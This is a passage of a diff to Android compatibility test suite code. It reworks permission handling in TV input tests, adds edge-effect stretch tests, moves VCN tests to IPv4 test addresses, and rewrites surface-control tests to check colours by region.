     private Uri mChannelsUri;
@@ -123,6 +130,11 @@
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA);
         mInputId = TvContract.buildInputId(
                 new ComponentName(getContext(), StubTunerTvInputService.class));
         mContentResolver = getContext().getContentResolver();
@@ -138,6 +150,9 @@
         mContentResolver.delete(Channels.CONTENT_URI, null, null);
         mContentResolver.delete(RecordedPrograms.CONTENT_URI, null, null);
         mContentResolver.delete(WatchNextPrograms.CONTENT_URI, null, null);
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
         super.tearDown();
     }
 
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 657a0e9..87b8913 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -68,6 +68,17 @@
     private static final TvContentRating DUMMY_RATING = TvContentRating.createRating(
             "com.android.tv", "US_TV", "US_TV_PG", "US_TV_D", "US_TV_L");
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+    private static final String PERMISSION_ACCESS_TUNED_INFO =
+            "android.permission.ACCESS_TUNED_INFO";
+    private static final String PERMISSION_TV_INPUT_HARDWARE =
+            "android.permission.TV_INPUT_HARDWARE";
+    private static final String PERMISSION_TUNER_RESOURCE_ACCESS =
+            "android.permission.TUNER_RESOURCE_ACCESS";
+
     private String mStubId;
     private TvInputManager mManager;
     private LoggingCallback mCallback = new LoggingCallback();
@@ -98,6 +109,16 @@
         if (!Utils.hasTvInputFramework(mActivity)) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS,
+                        PERMISSION_WRITE_EPG_DATA,
+                        PERMISSION_ACCESS_TUNED_INFO,
+                        PERMISSION_TUNER_RESOURCE_ACCESS);
+
         mInstrumentation = getInstrumentation();
         mTvView = findTvViewById(R.id.tvview);
         mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
@@ -135,6 +156,9 @@
             throw new RuntimeException(t);
         }
         mInstrumentation.waitForIdleSync();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
         super.tearDown();
     }
 
@@ -201,8 +225,6 @@
         if (!Utils.hasTvInputFramework(getActivity())) {
             return;
         }
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity("android.permission.ACCESS_TUNED_INFO");
         mActivity.runOnUiThread(new Runnable() {
             @Override
             public void run() {
@@ -216,8 +238,6 @@
                 mManager.unregisterCallback(mCallback);
             }
         });
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
     }
 
     public void testGetInputState() throws Exception {
@@ -391,12 +411,17 @@
     }
 
     public void testAcquireTvInputHardware() {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-            .adoptShellPermissionIdentity("android.permission.TV_INPUT_HARDWARE",
-                    "android.permission.TUNER_RESOURCE_ACCESS");
         if (mManager == null) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_WRITE_EPG_DATA,
+                        PERMISSION_TV_INPUT_HARDWARE);
+
         // Update hardware device list
         int deviceId = 0;
         boolean hardwareDeviceAdded = false;
@@ -436,8 +461,6 @@
         if (hardwareDeviceAdded) {
             mManager.removeHardwareDevice(deviceId);
         }
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-            .dropShellPermissionIdentity();
     }
 
     private static class LoggingCallback extends TvInputManager.TvInputCallback {
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index a562734..13effcd 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -34,9 +34,10 @@
 import android.util.SparseIntArray;
 import android.view.InputEvent;
 import android.view.KeyEvent;
-
 import android.tv.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import java.util.ArrayList;
@@ -51,6 +52,11 @@
     /** The maximum time to wait for an operation. */
     private static final long TIME_OUT_MS = 15000L;
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+
     private TvView mTvView;
     private Activity mActivity;
     private Instrumentation mInstrumentation;
@@ -170,6 +176,13 @@
         if (!Utils.hasTvInputFramework(mActivity)) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA);
+
         mInstrumentation = getInstrumentation();
         mTvView = findTvViewById(R.id.tvview);
         mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
@@ -207,6 +220,9 @@
             throw new RuntimeException(t);
         }
         mInstrumentation.waitForIdleSync();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
         super.tearDown();
     }
 
diff --git a/tests/tests/uirendering/res/values/themes.xml b/tests/tests/uirendering/res/values/themes.xml
index e75376b..50cc0e8 100644
--- a/tests/tests/uirendering/res/values/themes.xml
+++ b/tests/tests/uirendering/res/values/themes.xml
@@ -16,6 +16,7 @@
 <resources>
     <style name="DefaultTheme" parent="@android:style/Theme.Material.NoActionBar.Fullscreen">
         <item name="android:windowNoTitle">true</item>
+        <item name="android:windowDisablePreview">true</item>
         <item name="android:windowFullscreen">true</item>
         <item name="android:windowOverscan">true</item>
         <item name="android:fadingEdge">none</item>
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
index ff45e20..352e31c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
@@ -49,6 +49,7 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -64,6 +65,7 @@
     public Tracer name = new Tracer();
 
     private Context mThemeContext;
+    private float mPreviousDurationScale;
 
     interface EdgeEffectInitializer {
         void initialize(EdgeEffect edgeEffect);
@@ -78,6 +80,13 @@
         final Context targetContext = InstrumentationRegistry.getTargetContext();
         mThemeContext = new ContextThemeWrapper(targetContext,
                 android.R.style.Theme_Material_Light);
+        mPreviousDurationScale = ValueAnimator.getDurationScale();
+        ValueAnimator.setDurationScale(1.0f);
+    }
+
+    @After
+    public void tearDown() {
+        ValueAnimator.setDurationScale(mPreviousDurationScale);
     }
 
     private static class EdgeEffectValidator extends PerPixelBitmapVerifier {
@@ -219,6 +228,40 @@
         });
     }
 
+    /**
+     * Can't stretch past 1.0
+     */
+    @Test
+    public void testMaxStretch() throws Throwable {
+        EdgeEffect edgeEffect = new EdgeEffect(getContext());
+        edgeEffect.setSize(WIDTH, HEIGHT);
+        float pulled = edgeEffect.onPullDistance(1f, 0.5f);
+        assertEquals(1f, pulled, 0.001f);
+        assertEquals(1f, edgeEffect.getDistance(), 0.001f);
+        pulled = edgeEffect.onPullDistance(0.1f, 0.5f);
+        assertEquals(0.1f, pulled, 0.001f);
+        assertEquals(1f, edgeEffect.getDistance(), 0.001f);
+    }
+
+    /**
+     * A fling past 1.0 results in stopping at 1 and then retracting.
+     */
+    @Test
+    public void testMaxFling() throws Throwable {
+        MockVsyncHelper.runOnVsyncThread(() -> {
+            EdgeEffect edgeEffect = new EdgeEffect(getContext());
+            edgeEffect.setSize(WIDTH, HEIGHT);
+            assertEquals(0.99f, edgeEffect.onPullDistance(0.99f, 0.5f), 0.001f);
+            edgeEffect.onAbsorb(10000);
+            nextFrame();
+            drawEdgeEffect(edgeEffect, 0f, 0f);
+            assertEquals(1f, edgeEffect.getDistance(), 0.001f);
+            nextFrame();
+            drawEdgeEffect(edgeEffect, 0f, 0f);
+            assertTrue(edgeEffect.getDistance() < 1f);
+        });
+    }
+
     private RenderNode drawStretchEffect(float rotation) {
         EdgeEffect edgeEffect = new EdgeEffect(getContext());
         edgeEffect.setSize(WIDTH, HEIGHT);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
index 3b3a12e..62a4045 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
@@ -75,8 +75,7 @@
         boolean success = bitmapVerifier.verify(bitmap);
         if (!success) {
             Bitmap croppedBitmap = Bitmap.createBitmap(bitmap, 0, 0, width, height);
-            BitmapDumper.dumpBitmap(croppedBitmap, testName, mClassName);
-            BitmapDumper.dumpBitmap(bitmapVerifier.getDifferenceBitmap(), testName + "_verifier",
+            BitmapDumper.dumpBitmaps(croppedBitmap, bitmapVerifier.getDifferenceBitmap(), testName,
                     mClassName);
             onFailure(testName);
         }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
index b5f7d76..a5e6d4b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
@@ -133,6 +133,21 @@
         sInstrumentation.sendStatus(INST_STATUS_IN_PROGRESS, report);
     }
 
+    public static void dumpBitmaps(Bitmap testedBitmap, Bitmap visualizerBitmap, String testName,
+            String className) {
+
+        File testedFile = getFile(className, testName, TYPE_TESTED_RENDERING);
+        File visualizerFile = getFile(className, testName, TYPE_VISUALIZER_RENDERING);
+        saveBitmap(testedBitmap, testedFile);
+        saveBitmap(visualizerBitmap, visualizerFile);
+
+        Bundle report = new Bundle();
+        report.putString(KEY_PREFIX + TYPE_TESTED_RENDERING, bypassContentProvider(testedFile));
+        report.putString(KEY_PREFIX + TYPE_VISUALIZER_RENDERING,
+                bypassContentProvider(visualizerFile));
+        sInstrumentation.sendStatus(INST_STATUS_IN_PROGRESS, report);
+    }
+
     public static void dumpBitmap(Bitmap bitmap, String testName, String className) {
         if (bitmap == null) {
             Log.d(TAG, "File not saved, bitmap was null for test : " + testName);
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
index 2572593..33df595 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
@@ -31,6 +31,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
@@ -63,7 +64,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.net.Inet6Address;
+import java.net.InetAddress;
 import java.util.Collections;
 import java.util.UUID;
 import java.util.concurrent.CompletableFuture;
@@ -81,10 +82,10 @@
 
     private static final int TEST_NETWORK_MTU = 1500;
 
-    private static final Inet6Address LOCAL_V6_ADDRESS =
-            (Inet6Address) InetAddresses.parseNumericAddress("2001:db8::2");
-    private static final Inet6Address SECONDARY_LOCAL_V6_ADDRESS =
-            (Inet6Address) InetAddresses.parseNumericAddress("2001:db8::3");
+    private static final InetAddress LOCAL_ADDRESS =
+            InetAddresses.parseNumericAddress("198.51.100.1");
+    private static final InetAddress SECONDARY_LOCAL_ADDRESS =
+            InetAddresses.parseNumericAddress("198.51.100.2");
 
     private static final long IKE_DETERMINISTIC_INITIATOR_SPI =
             Long.parseLong("46B8ECA1E0D72A18", 16);
@@ -362,7 +363,7 @@
                         TEST_NETWORK_MTU,
                         true /* isMetered */,
                         Collections.singleton(subId),
-                        LOCAL_V6_ADDRESS);
+                        LOCAL_ADDRESS);
         assertNotNull("No test network found", mTestNetworkWrapper.tunNetwork);
 
         // Before the VCN starts, the test network should have NOT_VCN_MANAGED
@@ -436,7 +437,7 @@
                         TEST_NETWORK_MTU,
                         true /* isMetered */,
                         Collections.singleton(subId),
-                        LOCAL_V6_ADDRESS);
+                        LOCAL_ADDRESS);
         assertNotNull("No test network found", mTestNetworkWrapper.tunNetwork);
 
         // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
@@ -465,6 +466,7 @@
             @NonNull Network cellNetwork,
             @NonNull VcnTestNetworkCallback cellNetworkCb)
             throws Exception {
+        cellNetworkCb.waitForAvailable();
         mVcnManager.setVcnConfig(subGrp, buildTestModeVcnConfig());
 
         // Wait until the cell Network is lost (due to losing NOT_VCN_MANAGED) to wait for
@@ -529,9 +531,21 @@
             throws Exception {
         mVcnManager.clearVcnConfig(subGrp);
 
-        // Expect VCN Network to disappear after VcnConfig is cleared
-        final Network lostVcnNetwork = cellNetworkCb.waitForLost();
-        assertEquals(vcnNetwork, lostVcnNetwork);
+        // Expect VCN Network to disappear after VcnConfig is cleared.
+        if (mConnectivityManager.getNetworkCapabilities(vcnNetwork) != null) {
+
+            // If not already torn down, wait for teardown. In the event that the underlying network
+            // has already regained the NOT_VCN_MANAGED bit (before the VCN's NetworkAgent teardown)
+            // the VCN network MAY be immediately replaced with the underlying Cell, which only
+            // fires an onAvailable for the new network, as opposed to an onLost() for the VCN
+            // network. In that case, check that the VCN network has been unregistered.
+            final Network lostVcnNetwork = cellNetworkCb.waitForLost();
+            if (lostVcnNetwork != null) {
+                assertEquals(vcnNetwork, lostVcnNetwork);
+            } else {
+                assertNull(mConnectivityManager.getNetworkCapabilities(vcnNetwork));
+            }
+        } // Else already torn down, pass.
     }
 
     @Test
@@ -544,7 +558,7 @@
                         TEST_NETWORK_MTU,
                         true /* isMetered */,
                         Collections.singleton(subId),
-                        LOCAL_V6_ADDRESS);
+                        LOCAL_ADDRESS);
         assertNotNull("No test network found", mTestNetworkWrapper.tunNetwork);
 
         // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
@@ -570,7 +584,7 @@
                                 TEST_NETWORK_MTU,
                                 true /* isMetered */,
                                 Collections.singleton(subId),
-                                SECONDARY_LOCAL_V6_ADDRESS);
+                                SECONDARY_LOCAL_ADDRESS);
 
                 try {
                     assertNotNull("No test network found", secondaryTestNetworkWrapper.tunNetwork);
@@ -639,7 +653,7 @@
                         TEST_NETWORK_MTU,
                         true /* isMetered */,
                         Collections.singleton(subId),
-                        LOCAL_V6_ADDRESS);
+                        LOCAL_ADDRESS);
         assertNotNull("No test network found", mTestNetworkWrapper.tunNetwork);
 
         // Before the VCN starts, the test network should have NOT_VCN_MANAGED
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnTestBase.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnTestBase.java
index 4b79fa9..d7485b1 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnTestBase.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnTestBase.java
@@ -60,7 +60,8 @@
                         .addDhGroup(DH_GROUP_2048_BIT_MODP)
                         .build();
 
-        final String serverHostname = "2001:db8:1::100";
+        // TODO: b/192610392 Improve VcnManagerTest CTS by adding IPv6 test case.
+        final String serverHostname = "192.0.2.1";
         final String testLocalId = "client.test.ike.android.net";
         final String testRemoteId = "server.test.ike.android.net";
         final byte[] psk = "ikeAndroidPsk".getBytes();
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
index b8223a7..a6ec94a 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
@@ -17,6 +17,7 @@
 package android.view.cts;
 
 import static android.server.wm.ActivityManagerTestBase.createFullscreenActivityScenarioRule;
+import static android.view.cts.surfacevalidator.ASurfaceControlTestActivity.MultiRectChecker;
 import static android.view.cts.util.ASurfaceControlTestUtils.applyAndDeleteSurfaceTransaction;
 import static android.view.cts.util.ASurfaceControlTestUtils.createSurfaceTransaction;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceControl_acquire;
@@ -94,6 +95,12 @@
     private static final int DEFAULT_LAYOUT_WIDTH = 100;
     private static final int DEFAULT_LAYOUT_HEIGHT = 100;
 
+    private static final PixelColor RED = new PixelColor(PixelColor.RED);
+    private static final PixelColor BLUE = new PixelColor(PixelColor.BLUE);
+    private static final PixelColor MAGENTA = new PixelColor(PixelColor.MAGENTA);
+    private static final PixelColor GREEN = new PixelColor(PixelColor.GREEN);
+    private static final PixelColor YELLOW = new PixelColor(PixelColor.YELLOW);
+
     @Rule
     public ActivityScenarioRule<ASurfaceControlTestActivity> mActivityRule =
             createFullscreenActivityScenarioRule(ASurfaceControlTestActivity.class);
@@ -165,7 +172,13 @@
         public long setSolidBuffer(long surfaceControl, int width, int height, int color) {
             long surfaceTransaction = createSurfaceTransaction();
             long buffer = setSolidBuffer(surfaceControl, surfaceTransaction, width, height, color);
+            TimedTransactionListener onCommitCallback = new TimedTransactionListener();
+            nSurfaceTransaction_setOnCommitCallback(surfaceTransaction, onCommitCallback);
             applyAndDeleteSurfaceTransaction(surfaceTransaction);
+            try {
+                onCommitCallback.mLatch.await(1, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+            }
             return buffer;
         }
 
@@ -183,7 +196,13 @@
             long surfaceTransaction = createSurfaceTransaction();
             setQuadrantBuffer(surfaceControl, surfaceTransaction, width, height, colorTopLeft,
                     colorTopRight, colorBottomRight, colorBottomLeft);
+            TimedTransactionListener onCommitCallback = new TimedTransactionListener();
+            nSurfaceTransaction_setOnCommitCallback(surfaceTransaction, onCommitCallback);
             applyAndDeleteSurfaceTransaction(surfaceTransaction);
+            try {
+                onCommitCallback.mLatch.await(1, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+            }
         }
     }
 
@@ -592,117 +611,97 @@
 
     @Test
     public void testSurfaceTransaction_setDestinationRect_twoLayers() {
-        BasicSurfaceHolderCallback callback = new BasicSurfaceHolderCallback() {
-            @Override
-            public void surfaceCreated(SurfaceHolder holder) {
-                long surfaceControl1 = createFromWindow(holder.getSurface());
-                long surfaceControl2 = createFromWindow(holder.getSurface());
+        verifyTest(
+                new BasicSurfaceHolderCallback() {
+                    @Override
+                    public void surfaceCreated(SurfaceHolder holder) {
+                        long surfaceControl1 = createFromWindow(holder.getSurface());
+                        long surfaceControl2 = createFromWindow(holder.getSurface());
 
-                setSolidBuffer(surfaceControl1, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
-                        PixelColor.RED);
-                setSolidBuffer(surfaceControl2, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
-                        PixelColor.BLUE);
-                setGeometry(surfaceControl1, 0, 0, 100, 100, 10, 10, 30, 40, 0);
-                setGeometry(surfaceControl2, 0, 0, 100, 100, 70, 20, 90, 50, 0);
-            }
-        };
-        verifyTest(callback,
-                new PixelChecker(PixelColor.RED) { //600
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 540 && pixelCount < 660;
+                        setSolidBuffer(surfaceControl1, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                                PixelColor.RED);
+                        setSolidBuffer(surfaceControl2, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                                PixelColor.BLUE);
+                        setGeometry(surfaceControl1, 0, 0, 100, 100, 10, 10, 30, 40, 0);
+                        setGeometry(surfaceControl2, 0, 0, 100, 100, 70, 20, 90, 50, 0);
                     }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.BLUE) { //600
+                },
+
+                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 540 && pixelCount < 660;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x >= 10 && x < 30 && y >= 10 && y < 40) {
+                            return RED;
+                        } else if (x >= 70 && x < 90 && y >= 20 && y < 50) {
+                            return BLUE;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
 
     @Test
     public void testSurfaceTransaction_setSourceRect() {
-        BasicSurfaceHolderCallback callback = new BasicSurfaceHolderCallback() {
-            @Override
-            public void surfaceCreated(SurfaceHolder holder) {
-                long surfaceControl = createFromWindow(holder.getSurface());
+        verifyTest(
+                new BasicSurfaceHolderCallback() {
+                    @Override
+                    public void surfaceCreated(SurfaceHolder holder) {
+                        long surfaceControl = createFromWindow(holder.getSurface());
 
-                setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
-                        DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
-                        PixelColor.MAGENTA, PixelColor.GREEN);
-            }
-        };
-        verifyTest(callback,
-                new PixelChecker(PixelColor.RED) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                        setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
+                                DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
+                                PixelColor.MAGENTA, PixelColor.GREEN);
                     }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.BLUE) { //2500
+                },
+
+                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.MAGENTA) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.GREEN) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (x < halfWidth && y < halfHeight) {
+                            return RED;
+                        } else if (x >= halfWidth && y < halfHeight) {
+                            return BLUE;
+                        } else if (x < halfWidth && y >= halfHeight) {
+                            return GREEN;
+                        } else {
+                            return MAGENTA;
+                        }
                     }
                 });
     }
 
     @Test
     public void testSurfaceTransaction_setSourceRect_smallCentered() {
-        BasicSurfaceHolderCallback callback = new BasicSurfaceHolderCallback() {
-            @Override
-            public void surfaceCreated(SurfaceHolder holder) {
-                long surfaceControl = createFromWindow(holder.getSurface());
+        verifyTest(
+                new BasicSurfaceHolderCallback() {
+                    @Override
+                    public void surfaceCreated(SurfaceHolder holder) {
+                        long surfaceControl = createFromWindow(holder.getSurface());
 
-                setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
-                        DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
-                        PixelColor.MAGENTA, PixelColor.GREEN);
-                setGeometry(surfaceControl, 10, 10, 90, 90, 0, 0, 100, 100, 0);
-            }
-        };
-        verifyTest(callback,
-                new PixelChecker(PixelColor.RED) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                        setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
+                                DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
+                                PixelColor.MAGENTA, PixelColor.GREEN);
+                        setGeometry(surfaceControl, 10, 10, 90, 90, 0, 0, 100, 100, 0);
                     }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.BLUE) { //2500
+                },
+
+                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.MAGENTA) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.GREEN) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (x < halfWidth && y < halfHeight) {
+                            return RED;
+                        } else if (x >= halfWidth && y < halfHeight) {
+                            return BLUE;
+                        } else if (x < halfWidth && y >= halfHeight) {
+                            return GREEN;
+                        } else {
+                            return MAGENTA;
+                        }
                     }
                 });
     }
@@ -731,43 +730,33 @@
 
     @Test
     public void testSurfaceTransaction_setSourceRect_extraLarge() {
-        BasicSurfaceHolderCallback callback = new BasicSurfaceHolderCallback() {
-            @Override
-            public void surfaceCreated(SurfaceHolder holder) {
-                long surfaceControl = createFromWindow(holder.getSurface());
+        verifyTest(
+                new BasicSurfaceHolderCallback() {
+                    @Override
+                    public void surfaceCreated(SurfaceHolder holder) {
+                        long surfaceControl = createFromWindow(holder.getSurface());
 
-                setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
-                        DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
-                        PixelColor.MAGENTA, PixelColor.GREEN);
-                setGeometry(surfaceControl, -50, -50, 150, 150, 0, 0, 100, 100, 0);
-            }
-        };
-        verifyTest(callback,
-                new PixelChecker(PixelColor.RED) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                        setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
+                                DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
+                                PixelColor.MAGENTA, PixelColor.GREEN);
+                        setGeometry(surfaceControl, -50, -50, 150, 150, 0, 0, 100, 100, 0);
                     }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.BLUE) { //2500
+                },
+
+                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.MAGENTA) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
-                    }
-                });
-        verifyTest(callback,
-                new PixelChecker(PixelColor.GREEN) { //2500
-                    @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (x < halfWidth && y < halfHeight) {
+                            return RED;
+                        } else if (x >= halfWidth && y < halfHeight) {
+                            return BLUE;
+                        } else if (x < halfWidth && y >= halfHeight) {
+                            return GREEN;
+                        } else {
+                            return MAGENTA;
+                        }
                     }
                 });
     }
@@ -1545,40 +1534,37 @@
 
     @Test
     public void testSurfaceTransaction_setCropSmall() {
-        BasicSurfaceHolderCallback callback = new BasicSurfaceHolderCallback() {
-            @Override
-            public void surfaceCreated(SurfaceHolder holder) {
-                long surfaceControl = createFromWindow(holder.getSurface());
-
-                setQuadrantBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH,
-                        DEFAULT_LAYOUT_HEIGHT, PixelColor.RED, PixelColor.BLUE,
-                        PixelColor.MAGENTA, PixelColor.GREEN);
-                setCrop(surfaceControl, new Rect(0, 0, 50, 50));
-            }
-        };
-
-        verifyTest(callback,
-                new PixelChecker(PixelColor.RED) { // 2500
+        verifyTest(
+                new BasicSurfaceHolderCallback() {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
+                    public void surfaceCreated(SurfaceHolder holder) {
+                        long surfaceControl = createFromWindow(holder.getSurface());
+
